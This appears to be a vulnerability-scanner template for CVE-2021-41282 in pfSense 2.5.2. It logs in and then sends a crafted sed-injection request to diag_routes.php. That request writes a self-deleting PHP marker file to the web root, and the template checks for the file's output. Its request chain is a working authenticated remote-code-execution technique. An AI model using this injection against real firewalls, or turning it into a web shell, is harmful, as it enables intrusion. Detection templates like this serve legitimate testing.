id: CVE-2021-41282

info:
  name: pfSense Arbitrary File Write to RCE
  author: cckuailong
  severity: high
  description: diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (i.e., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
  reference:
    - https://www.shielder.it/advisories/pfsense-remote-command-execution/
    - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-41282
    cwe-id: CWE-94
  tags: cve,cve2021,pfsense,rce,authenticated

requests:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=

      - |
        GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /test.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    extractors:
      - type: regex
        name: csrf_token
        part: body
        internal: true
        group: 1
        regex:
          - '(sid:[a-z0-9,;:]+)'

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
          - "status_code==200"
        condition: and